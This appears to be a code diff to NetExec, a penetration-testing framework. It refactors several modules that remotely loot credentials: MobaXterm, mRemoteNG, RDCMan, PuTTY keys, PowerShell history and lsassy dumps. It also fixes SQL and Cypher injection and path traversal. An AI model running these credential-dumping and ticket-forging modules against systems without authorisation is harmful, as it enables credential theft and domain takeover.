|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
+13
-13
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
|
||||
|
||||
@@ -188,7 +188,7 @@ class NXCModule:
|
||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
@@ -236,7 +236,7 @@ class NXCModule:
|
||||
for user in compromised_users:
|
||||
for pc in admin_access:
|
||||
if user[0] in pc[1]:
|
||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
@@ -247,7 +247,7 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
|
||||
process_creds(
|
||||
context,
|
||||
|
||||
@@ -1,62 +1,34 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
+12
-52
@@ -1,12 +1,10 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -25,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -42,6 +40,7 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -68,70 +67,31 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
users = self.dploot_conn.list_users()
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
# Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -152,7 +112,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -166,7 +126,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -178,7 +138,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -4,6 +4,7 @@ import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -139,8 +140,8 @@ class NXCModule:
|
||||
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
|
||||
|
||||
if self.save and all_results:
|
||||
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
|
||||
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
|
||||
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
|
||||
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
|
||||
os.makedirs(file_path.parent, exist_ok=True)
|
||||
with open(file_path, "w") as f:
|
||||
json.dump(all_results, f, indent=2)
|
||||
|
||||
@@ -10,6 +10,7 @@ import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -158,7 +159,7 @@ class NXCModule:
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -36,9 +38,12 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -161,9 +163,12 @@ class NXCModule:
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from os.path import join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -71,7 +73,7 @@ class NXCModule:
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -46,9 +48,12 @@ class NXCModule:
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -54,7 +56,7 @@ class NXCModule:
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
|
||||
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
|
||||
|
||||
@@ -137,7 +139,10 @@ class NXCModule:
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
|
||||
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
|
||||
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
|
||||
return
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from pathlib import Path
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
@@ -160,7 +162,10 @@ class NXCModule:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
|
||||
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
|
||||
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
|
||||
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
|
||||
continue
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.krbtgt_hash = ""
|
||||
self.aes128_key = ""
|
||||
self.aes256_key = ""
|
||||
self.etype = "rc4"
|
||||
self.etype = "aes256"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -59,7 +59,7 @@ class NXCModule:
|
||||
USER Target username to forge the ticket for (default: Administrator)
|
||||
USER_ID RID used as the user ID in the PAC (default: 500)
|
||||
RID RID used for the extra SID (default: 519 = Enterprise Admins)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
|
||||
@@ -69,7 +69,7 @@ class NXCModule:
|
||||
"""
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.etype = module_options.get("ETYPE", "rc4").lower()
|
||||
self.etype = module_options.get("ETYPE", "aes256").lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
@@ -300,7 +300,7 @@ class NXCModule:
|
||||
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_unix = timegm(now_utc.timetuple())
|
||||
now_filetime = self._getFileTime(now_unix)
|
||||
|
||||
@@ -451,7 +451,7 @@ class NXCModule:
|
||||
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
|
||||
|
||||
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
|
||||
|
||||
enc_ticket_part = EncTicketPart()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import base64
|
||||
from Crypto.Cipher import AES
|
||||
from Cryptodome.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
@@ -83,6 +83,6 @@ class NXCModule:
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = 4 - (len(string) % 4)
|
||||
padding = (4 - len(string) % 4) % 4
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+6
-33
@@ -1,55 +1,28 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -58,7 +31,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -66,6 +39,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+12
-3
@@ -1,6 +1,6 @@
|
||||
from sys import exit
|
||||
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -101,7 +101,8 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -222,6 +223,14 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
